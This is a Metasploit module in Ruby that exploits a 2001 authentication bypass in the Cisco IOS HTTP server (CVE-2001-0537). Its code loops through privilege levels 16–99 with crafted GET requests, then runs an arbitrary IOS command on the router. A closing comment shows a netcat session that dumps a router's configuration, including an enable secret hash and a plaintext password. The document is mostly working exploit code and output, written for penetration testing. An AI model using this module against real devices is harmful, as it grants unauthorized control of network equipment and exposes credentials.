## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access', 'Description' => %q{ This module exploits a vulnerability in the Cisco IOS HTTP Server. By sending a GET request for "/level/num/exec/..", where num is between 16 and 99, it is possible to bypass authentication and obtain full system control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.3(11d). }, 'Author' => [ 'Patrick Webster ' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'BID', '2936'], [ 'CVE', '2001-0537'], [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'], [ 'OSVDB', '578' ], ], 'DisclosureDate' => 'June 27 2001')) register_options( [ Opt::RPORT(80), OptString.new('CMD', [ true, "Cisco IOS command", 'show start' ]) ], self.class) end def run print_status("Looking for a vulnerable privilege level...") 16.upto(99) do | level | connect sploit = "GET /level/" + level.to_s + "/exec/show%20privilege HTTP/1.0\r\n\r\n" sock.put(sploit) result = sock.get(-1,-3) disconnect if (result =~ /Current privilege level is/) print_status("Found vulnerable privilege level: " + level.to_s) xCMD = Rex::Text.uri_encode(datastore['CMD'], 'hex-normal') print_status("Sending your encoded command: " + xCMD) connect sploit = "GET /level/" + level.to_s + "/exec/" + xCMD + " HTTP/1.0\r\n\r\n" sock.put(sploit) result = sock.get(-1,-3) print_status(result.to_s) disconnect break end end end end =begin Patrick Webster 20070922 Cisco 1600 Router IOS v11.3(11d). IOS info: IOS (tm) 1600 Software (C1600-Y-L), Version 11.3(11d), RELEASE SOFTWARE (fc1) Copyright (c) 1986-2003 by cisco Systems, Inc. Compiled Tue 22-Jul-03 17:00 by eaarmas Example Exploit: patrick@aushack ~ $ nc 172.16.32.2 80 GET /level/15/exec/show%20start HTTP/1.0 HTTP/1.0 401 Unauthorized Date: Mon, 01 Mar 1993 00:20:41 UTC Content-type: text/html Expires: Thu, 16 Feb 1989 00:00:00 GMT WWW-Authenticate: Basic realm="level 15 access" Authorization Required

Authorization Requir ed

Browser not authentication-capable or authentication failed. patrick@aushack ~ $ nc 172.16.32.2 80 GET /level/16/exec/show%20start HTTP/1.0 HTTP/1.0 200 OK Date: Mon, 01 Mar 1993 00:21:31 UTC Server: cisco-IOS/11.3 HTTP-server/1.0(1) Content-type: text/html Expires: Thu, 16 Feb 1989 00:00:00 GMT Router /level/16/exec/show start

Router


	
	Using 653 out of 7506 bytes
	!
	version 11.1
	no service udp-small-servers
	no service tcp-small-servers
	!
	hostname Router
	!
	boot system flash c1600-y-l.113-11d.bin
	boot system flash
	enable secret 5 $1$nDn5$pcheGox3RoCdQNjfq5BHe1
	enable password cisco
	!
	[snip]

=end